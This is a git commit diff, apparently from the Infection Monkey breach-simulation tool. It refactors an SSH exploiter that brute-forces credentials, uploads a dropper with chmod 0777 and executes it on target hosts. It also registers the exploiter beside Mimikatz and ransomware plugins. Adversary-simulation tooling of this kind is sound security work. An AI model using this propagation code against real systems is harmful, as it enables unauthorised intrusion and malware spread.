Agent: Modify SSH exploit
* Remove credential hashes from logs * Get rid of config and use brute_force utils * Use telemetry messenger to send attack telemetries * Zerologon and Powershell needs to be revised based on UT
This commit is contained in:
parent
96bd7bca24
commit
f2b2a9c5c3
|
@ -1,10 +1,12 @@
|
|||
import logging
|
||||
from abc import abstractmethod
|
||||
from datetime import datetime
|
||||
from typing import Dict
|
||||
|
||||
from common.utils.exceptions import FailedExploitationError
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
@ -26,7 +28,7 @@ class HostExploiter:
|
|||
def _EXPLOITED_SERVICE(self):
|
||||
pass
|
||||
|
||||
def __init__(self, host):
|
||||
def __init__(self):
|
||||
self._config = WormConfiguration
|
||||
self.exploit_info = {
|
||||
"display_name": self._EXPLOITED_SERVICE,
|
||||
|
@ -37,7 +39,9 @@ class HostExploiter:
|
|||
"executed_cmds": [],
|
||||
}
|
||||
self.exploit_attempts = []
|
||||
self.host = host
|
||||
self.host = None
|
||||
self.telemetry_messenger = None
|
||||
self.options = {}
|
||||
|
||||
def set_start_time(self):
|
||||
self.exploit_info["started"] = datetime.now().isoformat()
|
||||
|
@ -71,7 +75,11 @@ class HostExploiter:
|
|||
}
|
||||
)
|
||||
|
||||
def exploit_host(self):
|
||||
def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict):
|
||||
self.host = host
|
||||
self.telemetry_messenger = telemetry_messenger
|
||||
self.options = options
|
||||
|
||||
self.pre_exploit()
|
||||
result = None
|
||||
try:
|
||||
|
|
|
@ -14,6 +14,7 @@ from infection_monkey.model import MONKEY_ARG
|
|||
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
@ -26,8 +27,8 @@ class SSHExploiter(HostExploiter):
|
|||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
_EXPLOITED_SERVICE = "SSH"
|
||||
|
||||
def __init__(self, host):
|
||||
super(SSHExploiter, self).__init__(host)
|
||||
def __init__(self):
|
||||
super(SSHExploiter, self).__init__()
|
||||
self._update_timestamp = 0
|
||||
|
||||
def log_transfer(self, transferred, total):
|
||||
|
@ -37,7 +38,10 @@ class SSHExploiter(HostExploiter):
|
|||
self._update_timestamp = time.time()
|
||||
|
||||
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
|
||||
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
|
||||
user_ssh_key_pairs = generate_identity_secret_pairs(
|
||||
identities=self.options["credentials"]["exploit_user_list"],
|
||||
secrets=self.options["credentials"]["exploit_ssh_keys"],
|
||||
)
|
||||
|
||||
for user, ssh_key_pair in user_ssh_key_pairs:
|
||||
# Creating file-like private key for paramiko
|
||||
|
@ -67,7 +71,10 @@ class SSHExploiter(HostExploiter):
|
|||
raise FailedExploitationError
|
||||
|
||||
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
|
||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||
user_password_pairs = generate_identity_secret_pairs(
|
||||
identities=self.options["credentials"]["exploit_user_list"],
|
||||
secrets=self.options["credentials"]["exploit_password_list"],
|
||||
)
|
||||
|
||||
for user, current_password in user_password_pairs:
|
||||
|
||||
|
@ -76,23 +83,16 @@ class SSHExploiter(HostExploiter):
|
|||
try:
|
||||
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
|
||||
|
||||
logger.debug(
|
||||
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
|
||||
self.host,
|
||||
user,
|
||||
self._config.hash_sensitive_data(current_password),
|
||||
)
|
||||
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
|
||||
self.add_vuln_port(port)
|
||||
self.report_login_attempt(True, user, current_password)
|
||||
return ssh
|
||||
|
||||
except Exception as exc:
|
||||
logger.debug(
|
||||
"Error logging into victim %r with user"
|
||||
" %s and password (SHA-512) '%s': (%s)",
|
||||
"Error logging into victim %r with user" " %s: (%s)",
|
||||
self.host,
|
||||
user,
|
||||
self._config.hash_sensitive_data(current_password),
|
||||
exc,
|
||||
)
|
||||
self.report_login_attempt(False, user, current_password)
|
||||
|
@ -159,37 +159,41 @@ class SSHExploiter(HostExploiter):
|
|||
with monkeyfs.open(src_path) as file_obj:
|
||||
ftp.putfo(
|
||||
file_obj,
|
||||
self._config.dropper_target_path_linux,
|
||||
self.options["dropper_target_path_linux"],
|
||||
file_size=monkeyfs.getsize(src_path),
|
||||
callback=self.log_transfer,
|
||||
)
|
||||
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
|
||||
ftp.chmod(self.options["dropper_target_path_linux"], 0o777)
|
||||
status = ScanStatus.USED
|
||||
T1222Telem(
|
||||
ScanStatus.USED,
|
||||
"chmod 0777 %s" % self._config.dropper_target_path_linux,
|
||||
self.host,
|
||||
).send()
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
T1222Telem(
|
||||
ScanStatus.USED,
|
||||
"chmod 0777 %s" % self.options["dropper_target_path_linux"],
|
||||
self.host,
|
||||
)
|
||||
)
|
||||
ftp.close()
|
||||
except Exception as exc:
|
||||
logger.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
||||
status = ScanStatus.SCANNED
|
||||
|
||||
T1105Telem(
|
||||
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
|
||||
).send()
|
||||
self.telemetry_messenger.send_telemetry(
|
||||
T1105Telem(
|
||||
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
|
||||
)
|
||||
)
|
||||
if status == ScanStatus.SCANNED:
|
||||
return False
|
||||
|
||||
try:
|
||||
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
||||
cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG)
|
||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
cmdline += " > /dev/null 2>&1 &"
|
||||
ssh.exec_command(cmdline)
|
||||
|
||||
logger.info(
|
||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
self._config.dropper_target_path_linux,
|
||||
self.options["dropper_target_path_linux"],
|
||||
self.host,
|
||||
cmdline,
|
||||
)
|
||||
|
|
|
@ -16,6 +16,7 @@ from infection_monkey.credential_collectors import (
|
|||
MimikatzCredentialCollector,
|
||||
SSHCredentialCollector,
|
||||
)
|
||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||
from infection_monkey.i_puppet import IPuppet, PluginType
|
||||
from infection_monkey.master import AutomatedMaster
|
||||
from infection_monkey.master.control_channel import ControlChannel
|
||||
|
@ -194,7 +195,7 @@ class InfectionMonkey:
|
|||
return local_network_interfaces
|
||||
|
||||
def _build_puppet(self) -> IPuppet:
|
||||
puppet = Puppet()
|
||||
puppet = Puppet(self.telemetry_messenger)
|
||||
|
||||
puppet.load_plugin(
|
||||
"MimikatzCollector",
|
||||
|
@ -213,6 +214,8 @@ class InfectionMonkey:
|
|||
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
|
||||
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
|
||||
|
||||
puppet.load_plugin("SSHExploiter", SSHExploiter(), PluginType.EXPLOITER)
|
||||
|
||||
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
|
||||
|
||||
return puppet
|
||||
|
|
|
@ -14,6 +14,7 @@ from infection_monkey.i_puppet import (
|
|||
PostBreachData,
|
||||
)
|
||||
|
||||
from ..telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||
from .mock_puppet import MockPuppet
|
||||
from .plugin_registry import PluginRegistry
|
||||
|
||||
|
@ -21,9 +22,10 @@ logger = logging.getLogger()
|
|||
|
||||
|
||||
class Puppet(IPuppet):
|
||||
def __init__(self) -> None:
|
||||
def __init__(self, telemetry_messenger: ITelemetryMessenger) -> None:
|
||||
self._mock_puppet = MockPuppet()
|
||||
self._plugin_registry = PluginRegistry()
|
||||
self._telemetry_messenger = telemetry_messenger
|
||||
|
||||
def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None:
|
||||
self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type)
|
||||
|
@ -56,10 +58,12 @@ class Puppet(IPuppet):
|
|||
fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER)
|
||||
return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options)
|
||||
|
||||
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
||||
def exploit_host(
|
||||
self, name: str, host: str, options: Dict, interrupt: threading.Event
|
||||
self, name: str, host: object, options: Dict, interrupt: threading.Event
|
||||
) -> ExploiterResultData:
|
||||
return self._mock_puppet.exploit_host(name, host, options, interrupt)
|
||||
exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER)
|
||||
return exploiter.exploit_host(host, self._telemetry_messenger, options)
|
||||
|
||||
def run_payload(self, name: str, options: Dict, interrupt: threading.Event):
|
||||
payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD)
|
||||
|
|
|
@ -1,12 +1,19 @@
|
|||
import threading
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from infection_monkey.i_puppet import PluginType
|
||||
from infection_monkey.puppet.puppet import Puppet
|
||||
|
||||
|
||||
def test_puppet_run_payload_success(monkeypatch):
|
||||
p = Puppet()
|
||||
@pytest.fixture
|
||||
def mock_telemetry_messenger():
|
||||
return MagicMock()
|
||||
|
||||
|
||||
def test_puppet_run_payload_success(monkeypatch, mock_telemetry_messenger):
|
||||
p = Puppet(mock_telemetry_messenger)
|
||||
|
||||
payload = MagicMock()
|
||||
payload_name = "PayloadOne"
|
||||
|
@ -17,8 +24,8 @@ def test_puppet_run_payload_success(monkeypatch):
|
|||
payload.run.assert_called_once()
|
||||
|
||||
|
||||
def test_puppet_run_multiple_payloads(monkeypatch):
|
||||
p = Puppet()
|
||||
def test_puppet_run_multiple_payloads(monkeypatch, mock_telemetry_messenger):
|
||||
p = Puppet(mock_telemetry_messenger)
|
||||
|
||||
payload_1 = MagicMock()
|
||||
payload1_name = "PayloadOne"
|
||||
|
|
Loading…
Reference in New Issue